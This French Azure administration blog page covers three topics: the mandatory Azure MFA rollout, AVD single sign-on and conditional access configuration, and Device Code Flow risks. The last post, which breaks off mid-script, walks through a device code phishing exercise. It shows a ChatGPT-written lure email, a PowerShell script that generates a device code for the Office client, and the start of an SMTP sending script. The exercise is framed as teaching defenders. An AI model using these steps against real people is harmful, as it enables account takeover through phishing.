Plus d’infos sur la MFA obligatoire pour Azure

En cette fin juin 2024, Microsoft nous partage un peu plus d’informations sur la future MFA obligatoire à venir pour Azure à partir de juillet 2024. Plusieurs grandes étapes sont maintenant mentionnées et intégrées dans un planning qui démarre dès cet été et se terminera début 2025. De plus, Microsoft nous propose également donc quelques outils pour nous y préparer.

Mi-mai, Microsoft annonçait via le Tech Community une modification majeure à venir concernant l’authentification sur Azure : MFA pour tous ! A ce moment-là, j’avais déjà rédigé un premier article, dont voici le lien MFA pour tous les utilisateurs d’Azure à partir de juillet 2024.

Un second post sur le Tech Community est apparu hier sur ce même sujet, et nous donne quelques informations sur les 2 phases de cette obligation liée à Azure :

  • Phase 1 – À partir de juillet 2024 : La notification puis l’obligation de la MFA pour le portail Azure sera progressivement étendue à tous les tenants.
  • Phase 2 – À partir de début 2025 : La notification puis l’obligation de la MFA aux outils de commande liés à Azure : CLI, Azure PowerShell et les outils Infrastructure as Code (IaaC) sera progressivement étendue à tous les tenants.

Merci à Merill Fernando pour ce schéma :

Partant de ces informations, nous pouvons en déduire les points suivants :

  • Portail Azure : Le portail Azure est utilisé par les humains, il faudra alors former les utilisateurs et configurer pour chacun d’entre eux une méthode MFA.
  • Autres outils : D’autres outils (CLI, Cloud Shell, …) sont utilisés par les humains et certains applications. Ces dernières pourront elles faire l’objet d’une bascule vers des identités managés ou des comptes de service.
  • Impact progressif : Les entreprises utilisant Azure doivent se préparer à une transition progressive des tenants. Elles auront le temps d’ajuster leurs configurations et de résoudre les problèmes potentiels avant que l’implémentation complète ne soit réalisée.

Microsoft a t-il prévu de notifier les administrateurs Azure ?

Microsoft a privilégié la notification des administrateurs globaux 60 jours avant la mise en application des phases 1 et 2. Cela sans doute pour laisser les entreprises organiser les messages et notifications en interne aux personnels Azure impactés par cette mesure.

Le compte à rebours de la mise en application pour votre/vos tenant(s) ne commence pas tant que vous n’avez pas reçu cette première notification de notre part. En outre, nous enverrons des rappels périodiques aux administrateurs globaux à intervalles réguliers entre la première notification et le début de la mise en application pour votre/vos tenant(s).

Tech Community

Pourrons-nous déroger temporairement à cette règle pour un tenant ?

Les mails de notification envoyés par Microsoft devraient comporter un lien pour activer une période de grâce, afin de pouvoir gérer les imprévus :

La première notification de notre part indiquant la date de mise en application pour votre/vos tenant(s) inclura également un lien pour demander la période de grâce. Des détails supplémentaires sur les types de clients, les cas d’utilisation et les scénarios éligibles à la période de grâce seront inclus dans la notification.

Tech Community

MFA pour tout Azure, mais vraiment pour tout le monde ?

Microsoft avait déjà été clair sur ce point, j’en avais également parlé dans mon précédent article :

Azure et seulement Azure. Ce point est très important d’autres services 365, ou même l’utilisation de services pourtant hébergés Azure ne seront pas impactés par ce changement.

Jlou.eu

Malgré cette information, une confusion a déjà pu s’installer, et c’est pour cela que ce second post de Microsoft reprécise que les utilisateurs finaux non gestionnaires d’Azure ne seront pas impactés :

Les utilisateurs finaux qui accèdent à des applications, des sites web ou des services hébergés sur Azure, mais qui ne se connectent pas au portail Azure, à la CLI ou à PowerShell, ne sont pas soumis à cette exigence de Microsoft. Les exigences d’authentification pour les utilisateurs finaux seront toujours contrôlées par les propriétaires de l’application, du site web ou du service.

Tech Community

Quid des accès conditionnels d’Entra ID ou de la sécurité par défaut ?

Microsoft a décidé d’implémenter ce contrôle MFA en amont des mesures de sécurité actuelles :

  • Sécurité par défaut activée : aucun changement car la MFA est déjà requise pour accéder aux outils Azure.
  • Accès conditionnel Azure : une police d’accès conditionnel plus restrictive et nécessitant une authentification plus forte que cette nouvelle règle sera appliquée en priorité.

Quid des comptes « brise-glace » ?

En mai dernier, Microsoft ne donnait pas encore de méthodes spécifiques pour ces comptes d’urgence. C’est maintenant chose faite :

Nous avons pris connaissance de vos questions concernant les comptes « verre cassé » ou « accès d’urgence ». Nous recommandons de mettre à jour ces comptes pour qu’ils utilisent FIDO2 ou l’authentification basée sur un certificat (lorsqu’elle est configurée en tant qu’AMF) au lieu de s’appuyer uniquement sur un mot de passe long. Ces deux méthodes satisferont aux exigences de l’AMF.

Tech Community

Existe-t-il des outils pour nous y préparer ?

Pour éviter les soucis de connexion le jour J, Microsoft propose un outil de type tableau de bord, et une commande PowerShell d’extraction sous format EXCEL. Ces deux outils donne plus de visibilité sur les utilisateurs Azure concernés et mal préparés. Voici les deux liens directs mis à disposition par Microsoft :

Voici des liens directs sur deux tests réalisés dans cet article :

Test I – Configuration du Tableau de bord Entra ID :

L’utilisation de ce tableau de bord Entra ID exige certains prérequis Microsoft :

  • Un tenant Microsoft avec une licence Entra ID Premium P1
  • Une souscription Azure valide
  • Un Log Analytics workspace créé sur une souscription Azure

Voici le message d’erreur si vous souhaitez accéder aux workbooks d’Entra ID si la configuration n’est pas faite :

Si cela n’est donc pas déjà fait, commencez par créer un Log Analytics workspace via le portail Azure :

Cliquer sur Créer :

Renseignez les informations de votre LAW, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de votre LAW :

Attendez 2 minutes que le déploiement se termine :

Retournez sur Entra ID afin d’activer ou de modifier le paramétrage de sauvegarde des journaux :

Activez l’option pour sauvegarder vers votre LAW, puis Sauvegardez :

Attendez environ 5 minutes, puis Créez un nouveau workbook :

Cliquez-ici pour ajoutez du code à votre workbook :

Rendez-vous sur la page GitHub suivante afin d’y copier le code présent :

Collez le code précédemment copié, puis cliquez sur Appliquer :

Cliquez sur Enregistrer-sous pour sauvegarder votre workbook :

Renseignez les champs, puis cliquez sur Appliquer :

Attendez quelques secondes que le workbook s’enregistre :

Retournez sur le menu suivant pour vérifiez le bon enregistrement :

Cliquez sur votre workbook afin de connaitre les connexions sans MFA de votre tenant :

Afin d’avoir plus de matière dans mes logs, voici un exemple d’un autre tenant :

Filtrez les résultats avec uniquement comme application le portail Azure :

Identifiez le ou les utilisateurs connectés sans MFA :

Terminons ces tests la seconde méthode proposée par Microsoft : le script PowerShell.

Test II – Lancement du script PowerShell Entra ID :

L’utilisation de ce script PowerShell n’exige qu’un prérequis :

  • Windows PowerShell en version 7.0 ou supérieure

Si besoin, installez la dernière version de PowerShell. Commencez par rechercher la version la plus récente de PowerShell :

winget search Microsoft.PowerShell

Installez PowerShell et/ou PowerShell en préversion :

winget install --id Microsoft.Powershell --source winget
winget install --id Microsoft.Powershell.Preview --source winget

Validez si besoin les droits administrateurs :

Attendez que la version soit entièrement installée :

Recherchez la version 7 de PowerShell :

Lancez le script PowerShell de Microsoft :

Install-Module MsIdentityTools -Scope CurrentUser
Import-Module MSIdentityTools

Connect-MgGraph -Scopes Directory.Read.All, AuditLog.Read.All, UserAuthenticationMethod.Read.All

Export-MsIdAzureMfaReport .\report.xlsx

Authentifiez-vous avec un compte disposants des autorisations nécessaires :

Acceptez les permissions demandées :

Une fois l’authentification terminée, fermez la fenêtre du navigateur :

Attendez que l’export Excel se termine :

Ouvrez le fichier Excel généré :

Constatez sur le premier onglet un tableau récapitulatif des utilisateurs qui se sont connectés au portail Azure, à Azure CLI ou à Azure PowerShell au cours des 30 derniers jours en interrogeant les journaux de connexion et de leur méthodes MFA enregistrées :

  • MFA Capable + Signed in with MFA : L’utilisateur a enregistré des méthodes d’authentification MFA et s’est connecté avec succès au moins une fois à Azure en utilisant MFA.
  • MFA Capable : L’utilisateur a enregistré des méthodes d’authentification MFA mais s’est toujours connecté à Azure en utilisant l’authentification à facteur unique.
  • Not MFA Capable : L’utilisateur n‘a pas encore enregistré de méthode d’authentification multifacteur et ne s’est pas connecté à Azure à l’aide de MFA.

Constatez sur le second onglet un graphique et des totaux des utilisateurs prêts ou non :

Conclusion – Comment se préparer avant le jour J ?

Commencez dès à présent à créer une nouvelle règle d’accès conditionnel équivalente à la future implémentation prévue par Microsoft. Il existe un template de police d’accès conditionnel très proche du résultat attendu :

Cette police cible la gestion des ressources Azure :

La mise en place de cette police en mode Report seulement est un premier pas vers la compréhension de ce qui va se passer sur votre environnement :

Vous pourrez par la suite changer son statut sur ON :

Bon courage à tous 💪🙏😎

AVD + SSO + Accès conditionnel v2

Azure Virtual Desktop propose différentes options dans l’authentification Entra ID, comme le SSO, l’accès conditionnel, ou encore la combinaisons des 2 😎. Microsoft nous apporte justement une petite évolution sur ce mois de juin 2024. Annoncée via un email pour une partie d’entre-nous, je souhaitais refaire un point sur la configuration SSO et les différentes polices possibles dans l’accès conditionnel AVD.

Il y a quelques jours, certains ont peut-être reçu l’email suivant de la part de Microsoft Azure :

Upcoming change for conditional access policies that target the Microsoft Remote Desktop Entra ID cloud app for Azure Virtual Desktop single sign-on.

You’re receiving this notice because you have conditional access policies that explicitly include or exclude the Microsoft Remote Desktop Entra ID cloud app and use single sign-on.

This change timeline was initially targeted for April 2024. We’ve extended the timeline to 26 June 2024. Azure Virtual Desktop clients will transition to the Windows Cloud Login Entra ID cloud app for Windows authentication when single sign-on is enabled. Windows authentication will continue to work as expected when single sign-on isn’t enabled. Additionally, conditional access policies targeted towards the Azure Virtual Desktop Entra ID cloud applications will continue to be applied across resource retrieval, gateway authentication, and diagnostic processes.

Since you’re using single sign-on for Azure Virtual Desktop and have conditional access policies that specifically include or exclude the Microsoft Remote Desktop Entra ID cloud app you’ll need to update your policies to also include or exclude the Windows Cloud Login Entra ID cloud app.

  • Microsoft Remote Desktop Entra ID cloud app ID: a4a365df-50f1-4397-bc59-1a1564b8bb9c
  • Windows Cloud Login Entra ID cloud app ID: 270efc09-cd0d-444b-a71f-39af4910ec45

If you have existing conditional access policies targeting the Microsoft Remote Desktop Entra ID cloud app, action is required to ensure policies continue to be applied as intended.

Required action

We recommend you update any conditional access policies that specifically target the Microsoft Remote Desktop Entra ID cloud app to add the Windows Cloud Login Entra ID cloud app to ensure a smooth transition by 26 June 2024.

  • Reach out to your Azure Global Administrator for Azure Virtual Desktop to develop a plan for deploying these updates to your infrastructure.
  • Update your internal documentation as needed and if you have a helpdesk, you may want to make them aware of this change.

To get started, review the documentation to secure user sign-in events with Microsoft Entra Multifactor authentication.

Help and support

If you need help developing a plan for deploying the updates, contact your Azure global administrator for Azure Virtual Desktop.

If you have general questions, ask community experts in Microsoft Q&A. If you have a support plan and you need technical help, open a support case in the Azure portal and select the question mark icon at the top of the page.

————————————————————-

Voici en quelques mots de ce que l’on peut en dire sur ce changement sur les polices d’accès conditionnel destinés à Azure Virtual Desktop :

Vous recevez cet avis parce que vous avez des politiques d’accès conditionnel qui incluent ou excluent explicitement l’application cloud Microsoft Remote Desktop Entra ID et/ou utilisent l’authentification unique.

La date limite de transition est prévue pour le 26 juin 2024 :

  • Changement : Les clients Azure Virtual Desktop utiliseront l’application Windows Cloud Login Entra ID pour l’authentification Windows avec SSO.
  • Impact : Vos politiques d’accès conditionnel actuelles doivent inclure l’application Windows Cloud Login Entra ID en plus de Microsoft Remote Desktop Entra ID.

Les actions requises :

  1. Mettre à jour vos politiques d’accès conditionnel pour inclure l’application Windows Cloud Login Entra ID.
  2. Contactez votre administrateur global Azure pour planifier ces mises à jour.
  3. Mettre à jour votre documentation interne et informer votre service d’assistance.

Le support :

En relisant en détail la documentation Microsoft relative à la configuration SSO pour AVD, j’avais jusqu’à présent configuré le SSO sur des environnements Azure Virtual Desktop de manière incomplète : à savoir uniquement au niveau du pool d’hôtes AVD :

Malgré cette configuration SSO partielle, mes utilisateurs n’avaient aucun souci pour s’y connecter, avec quelques clics supplémentaires.

Je vous propose donc au travers de cet article sur la configuration SSO et les accès conditionnel AVD possibles :

Commençons donc par un rappel de l’expérience utilisateur sans configuration SSO dans le cadre d’un environnement AVD joint directement à Microsoft Entra ID.

Tâche I – Premier test AVD sans SSO :

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de l’utilisateur AVD :

Confirmez votre choix en cliquant sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

Renseignez à nouveau votre identifiant et mot de passe utilisateur :

Confirmez à nouveau votre choix en cliquant sur Continuer :

Autoriser la connexion à la machine virtuelle AVD en cliquant sur Oui :

Microsoft nous informe sur le pourquoi de cette boite de dialogue ci-dessus :

Après avoir activé l’authentification Microsoft Entra pour RDP, vous devez configurer les groupes d’appareils cibles. Par défaut, lors de l’activation de l’authentification unique, les utilisateurs sont invités à s’authentifier auprès de Microsoft Entra ID et à autoriser la connexion Bureau à distance lors du lancement d’une connexion à un nouvel hôte de session. Microsoft Entra mémorise jusqu’à 15 hôtes pendant 30 jours avant de vous présenter une nouvelle invite. Si une boîte de dialogue pour autoriser la connexion Bureau à distance s’affiche, sélectionnez Oui pour vous connecter.

Microsoft Learn

L’expérience réalisée nous montre que le SSO n’est pas opérationnel. Microsoft nous explique qu’il est possible de l’améliorer :

Vous pouvez masquer cette boîte de dialogue et fournir l’authentification unique pour les connexions à tous vos hôtes de session en configurant une liste d’appareils approuvés. Vous devez créer un ou plusieurs groupes dans Microsoft Entra ID qui contient vos hôtes de session, puis définir une propriété sur les principaux de service pour les mêmes applications Bureau à distance Microsoft et Connexion au cloud Windows, telles qu’elles sont utilisées dans la section précédente, pour le groupe.

Microsoft Learn

Voici un rappel des étapes de configuration du SSO pour un environnement AVD :

  1. Activation de l’authentification Microsoft Entra pour le protocole RDP
  2. Création du groupe de machines AVD
  3. Configuration AVD pour activer l’authentification unique

Commençons donc par correctement configurer le SSO au niveau de l’application Entra ID.

Tâche II – Activation de l’authentification Microsoft Entra pour le protocole RDP :

Depuis votre portail Azure, ouvrez le service Azure Cloud Shell :

Importez les 2 modules Graph suivants, puis connectez-vous à ce dernier :

Import-Module Microsoft.Graph.Authentication
Import-Module Microsoft.Graph.Applications

Connect-MgGraph -Scopes "Application.Read.All","Application-RemoteDesktopConfig.ReadWrite.All"

Validez l’authentification de votre compte grâce à un Device Code :

Obtenez l’ID d’objet de chaque principal de service, puis stockez-les dans des variables en exécutant les commandes PowerShell suivantes :

  • Microsoft Remote Desktop Entra ID : a4a365df-50f1-4397-bc59-1a1564b8bb9c
  • Windows Cloud Login Entra ID : 270efc09-cd0d-444b-a71f-39af4910ec45
$MSRDspId = (Get-MgServicePrincipal -Filter "AppId eq 'a4a365df-50f1-4397-bc59-1a1564b8bb9c'").Id
$WCLspId = (Get-MgServicePrincipal -Filter "AppId eq '270efc09-cd0d-444b-a71f-39af4910ec45'").Id

Vérifiez la valeur actuelle de la propriété isRemoteDesktopProtocolEnabled :

Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId
Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId

Définissez la propriété isRemoteDesktopProtocolEnabled sur true en exécutant les commandes suivantes :

If ((Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId) -ne $true) {
    Update-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId -IsRemoteDesktopProtocolEnabled
}

If ((Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId) -ne $true) {
    Update-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId -IsRemoteDesktopProtocolEnabled
}

Vérifiez le changement de valeur de la propriété isRemoteDesktopProtocolEnabled :

Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId
Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId

Pour information, la commande PowerShell suivante vous permet si besoin de revenir en arrière :

$params = @{
	"@odata.type" = "#microsoft.graph.remoteDesktopSecurityConfiguration"
	isRemoteDesktopProtocolEnabled = $false
}

Update-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId -BodyParameter $params
Update-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId -BodyParameter $params

La suite de la configuration SSO se passe au niveau d’un groupe Entra ID.

Tâche III – Création d’un groupe de machines AVD :

Créez un groupe Entra ID dans lequel vous y ajoutez les différentes machines hôtes d’Azure Virtual Desktop :

Copiez les valeurs suivantes de votre groupe de machines virtuelles AVD :

  • Nom du groupe
  • Object ID

Intégrez ces 2 valeurs dans la commande PowerShell suivante :

$tdg = New-Object -TypeName Microsoft.Graph.PowerShell.Models.MicrosoftGraphTargetDeviceGroup
$tdg.Id = "<Group object ID>"
$tdg.DisplayName = "<Group display name>"

Ajoutez le groupe à l’objet targetDeviceGroup en exécutant les commandes PowerShell suivantes :

New-MgServicePrincipalRemoteDesktopSecurityConfigurationTargetDeviceGroup -ServicePrincipalId $MSRDspId -BodyParameter $tdg
New-MgServicePrincipalRemoteDesktopSecurityConfigurationTargetDeviceGroup -ServicePrincipalId $WCLspId -BodyParameter $tdg

Pour information, la commande PowerShell suivante vous permet si besoin de revenir en arrière :

Remove-MgServicePrincipalRemoteDesktopSecurityConfigurationTargetDeviceGroup -ServicePrincipalId $MSRDspId -TargetDeviceGroupId "<Group object ID>"
Remove-MgServicePrincipalRemoteDesktopSecurityConfigurationTargetDeviceGroup -ServicePrincipalId $WCLspId -TargetDeviceGroupId "<Group object ID>"

La suite se passe au niveau du pool d’hôtes AVD.

Tâche IV – Configuration AVD pour activer l’authentification unique :

Finissons par l’activation de l’option SSO depuis les propriétés RDP de votre pool d’hôtes AVD :

Il ne reste qu’à refaire un test utilisateur depuis votre client Microsoft Remote Desktop :

Tâche V – Second test AVD avec SSO :

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de cet utilisateur :

Confirmez votre choix en cliquant sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

Plus aucune authentification supplémentaire n’est nécessaire, la session de bureau à distance AVD s’ouvre directement :

La fonctionnalité SSO est maintenant en place sur notre environnement Azure Virtual Desktop. Continuons maintenant avec l’accès conditionnel AVD.

Tâche VI – Accès conditionnel actuel AVD (Portail) :

Pour rappel, j’utilise déjà cet accès conditionnel pour protéger l’accès à Azure Virtual Desktop. Voici ma configuration actuelle de la police d’accès conditionnel AVD :

Comme vous pouvez le voir, l’application ciblée est Azure Virtual Desktop (9cdead84-a844-4324-93f2-b2e6bb768d07)

Voici l’impact sur l’utilisateur AVD quand cette première police est activée :

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de ce premier utilisateur AVD :

L’accès conditionnel AVD fonctionne bien et demande ici une méthode de MFA renforcée, comme la clef FIDO2 :

Saisissez votre code PIN :

Touchez physiquement la clef FIDO2 :

Cliquez sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

L’ouverture de la session AVD de ce premier utilisateur se fait automatiquement :

Le journal de log entra ID nous permet de comprendre le déroulé et l’impact des tokens entre les 2 applications AVD :

Continuons avec un second test d’accès conditionnel ciblant cette fois les 2 applications indiquées dans l’email de Microsoft :

  • Microsoft Remote Desktop Entra ID : a4a365df-50f1-4397-bc59-1a1564b8bb9c
  • Windows Cloud Login Entra ID : 270efc09-cd0d-444b-a71f-39af4910ec45

Tâche VII – Accès conditionnel actuel AVD (VM) :

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de ce second utilisateur AVD :

Aucune MFA renforcée n’est exigée, mais confirmez votre choix en cliquant sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

Renseignez à nouveau les identifiants Cloud de l’utilisateur AVD :

L’accès conditionnel à la VM d’AVD fonctionne bien et demande ici une méthode de MFA renforcée, comme la clef FIDO2 :

Saisissez votre code PIN :

Touchez physiquement la clef FIDO2 :

Cliquez sur Continuer :

L’ouverture de la session AVD de ce second utilisateur se fait dans la foulée du challenge MFA :

Le journal de log entra ID nous permet de comprendre le déroulé et l’impact des tokens entre les 2 applications AVD :

Terminons les tests par une combinaison de 2 polices d’accès conditionnels ciblant les 3 applications AVD.

Tâche VIII – Accès conditionnel AVD doublé (Portail + VM) :

J’ai paramétré un troisième utilisateur pour avoir une MFA renforcée sur les 3 applications AVD, via 2 polices distinctes d’accès conditionnel :

Police Portail

  • Police Portail :
    • Azure Virtual Desktop : 9cdead84-a844-4324-93f2-b2e6bb768d07
  • Police VM :
    • Microsoft Remote Desktop Entra ID : a4a365df-50f1-4397-bc59-1a1564b8bb9c
    • Windows Cloud Login Entra ID : 270efc09-cd0d-444b-a71f-39af4910ec45

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de cet utilisateur :

L’accès conditionnel Portail fonctionne bien et demande ici une méthode de MFA renforcée, comme la clef FIDO2 :

Saisissez votre code PIN :

Touchez physiquement la clef FIDO2 :

Cliquez sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

L’ouverture de la session AVD de ce troisième utilisateur se fait automatiquement sans repasser par un challenge MFA de la police VM :

Le journal de log entra ID nous permet de comprendre le déroulé et l’impact des tokens entre les 2 applications AVD :

Conclusion

Ce mail d’information Microsoft m’a donc permis de correctement configurer le SSO AVD. Il nous explique également la mise à jour nécessaires des polices d’accès conditionnel pour garantir la continuité du service et la sécurité des connexions avec Azure Virtual Desktop.

En intégrant l’application Windows Cloud Login Entra ID avant le 26 juin 2024, vous assurerez une transition fluide et éviterez toute interruption de service 🤘

Gérez le Device Code flow

Type d’authentification du protocole OAuth 2.0, le Device Code Flow est spécifiquement conçu pour les appareils sans navigateur ou avec une méthode de saisie restreinte, comme les téléviseurs, les consoles de jeux ou encore les appareils IoT. Cette méthode d’identification est déjà très répandue au travers des plateformes de streaming audio ou vidéo. Mais quid de sa sécurité ?

Qu’est-ce que le Device Code Flow ?

Le principal avantage du Device Code Flow est de proposer une méthode d’authentification « conviviale » pour des périphériques à saisie restreinte. On peut découper le processus d’authentification du device code flow dans les étapes suivantes :

  1. Demande d’un code de dispositif:
    • L’appareil (par exemple, une télévision) envoie une demande à l’API d’autorisation du service (par exemple, un serveur OAuth).
    • En réponse, il reçoit un code de dispositif et une URL d’authentification.
  2. Affichage du code et de l’URL à l’utilisateur:
    • L’appareil affiche le code de dispositif et l’URL d’authentification à l’utilisateur.
    • Par exemple, « Veuillez visiter https://example.com/device et entrer le code suivant: ABC123″.
  3. Utilisateur autorise l’appareil:
    • L’utilisateur utilise un appareil avec un navigateur (par exemple, un smartphone ou un ordinateur) pour visiter l’URL fournie.
    • L’utilisateur entre le code de dispositif affiché sur l’appareil et s’authentifie (par exemple, via un login et un mot de passe).
  4. Appareil poll l’API d’autorisation:
    • Pendant que l’utilisateur s’authentifie, l’appareil envoie régulièrement des requêtes (polling) à l’API d’autorisation pour vérifier si l’utilisateur a terminé le processus d’autorisation.
    • Si l’utilisateur autorise l’accès, l’API renvoie un jeton d’accès à l’appareil.
  5. Accès accordé:
    • L’appareil peut maintenant utiliser le jeton d’accès pour accéder aux ressources protégées au nom de l’utilisateur.
Action ou flux d’authentificationNécessiteJeton d’IDAccess token (Jeton d’accès)Jeton d’actualisationCode d’autorisation.
Flux du code d’autorisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisationLe code d’autorisation fonctionne
Informations d’identification du clientLe flux d’authentification fonctionne pour le jeton d’accès (application uniquement)
Flux de code d’appareilLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Flux impliciteLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accès
Flux On-Behalf-Ofaccess tokenLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Nom d’utilisateur/mot de passe (ROPC)nom d’utilisateur, mot de passeLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Circuit OIDC hybrideLe flux d’authentification fonctionne pour le jeton d’IDLe code d’autorisation fonctionne
Échange de jetons d’actualisationjeton d’actualisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation

Pourquoi alors se passer du Device Code Flow si pratique ?

Disons-le tout de suite, Microsoft est très clair quant à la sécurité d’Entra ID uniquement basée sur un Device code flow :

Le flux de code d’appareil est un flux d’authentification à haut risque qui peut être utilisé dans le cadre d’une attaque par hameçonnage ou pour accéder aux ressources de l’entreprise sur des appareils non gérés. 

Microsoft Learn

Merci à Seyfallah pour son explication très claire sur les risques :

Mais pourquoi alors proposer quelque chose de risqué ?

Comme dit plus haut, certains scénarios spécifiques sont plus facilement gérables via Device Code Flow. D’ailleurs, tous les principaux cmdlets PowerShell, les outils AZ et de nombreux autres prennent en charge ce flux d’authentification depuis déjà un bon moment.

Vous pouvez configurer le contrôle de flux de code de l’appareil avec d’autres contrôles dans vos stratégies d’accès conditionnel. Par exemple, si le flux de codes d’appareils est utilisé pour les appareils Android utilisés dans les salles de conférence, vous pouvez choisir de bloquer le flux de codes d’appareils partout, sauf pour les appareils Android situés dans un emplacement spécifique du réseau.

Microsoft Learn

Mais le principal risque pour la méthode d’authentification via Device Code Flow reste le Phishing ou hameçonnage. Les attaquants peuvent tenter de créer de fausses pages ou emails de phishing :

Et l’arrivée massive de l’IA n’a fait qu’accroitre le risque des attaques basées sur l’ingénierie sociale. Les utilisateurs peuvent être facilement manipulés pour valider des devices code flows à leur insu.

Mais comment peut-on y remédier ?

Bien que la première méthode sécuritaire doive être construite autour de l’éducation des utilisateurs, des pratiques de sécurité rigoureuses et une surveillance continue peuvent aider à atténuer ces risques et à protéger les utilisateurs contre ces attaques :

Entra ID propose depuis peu et encore en préversion, la gestion de polices d’accès conditionnels proposant justement de bloquer les Device code flow selon certains usages :

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur le Device code Flow et son impact :

Important : Cet exercice n’est reflète pas une attaque dans son intégralité, mais démontre quelques points intéressants dans le cadre d’une prise de contrôle d’un administrateur global.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer de :

  • Deux tenants Microsoft
  • Plusieurs adresses emails pour une première campagne d’hameçonnage

Commençons par l’hameçonnage d’utilisateurs 365 lambda afin de récupérer l’accès à la messagerie 365.

Etape I – Préparation du premier hameçonnage :

Une campagne d’hameçonnage réussie et reposant sur de l’ingénierie sociale doit faire l’objet d’un travail poussé afin d’augmenter ses chances de succès.

Dans mon cas, je suis passé par ChatGPT pour rédiger rapidement un email d’hameçonnage destiné à mes utilisateurs lambda :

ChatGPT m’a alors généré en quelques secondes le texte de mon email au format HTML :

<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://www.fakewebsite.com/register" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">UNIQUECODE12345</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>

Il ne me reste qu’à y remplacer l’URL et le Device Code Flow.

Pour cela, et depuis mon poste, j’exécute le script PowerShell suivant afin de générer un Device Code Flow destiné à l’application officielle Microsoft Office :

$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$Scope = ".default offline_access"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}

$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Attention ici, le code généré n’est valable que 15 minutes, mais des méthodes d’automatisation de l’hameçonnage sont facilement réalisable.

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma première campagne d’hameçonnage :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "jlou07@jloudev.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔"
# E-mail : corps

# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
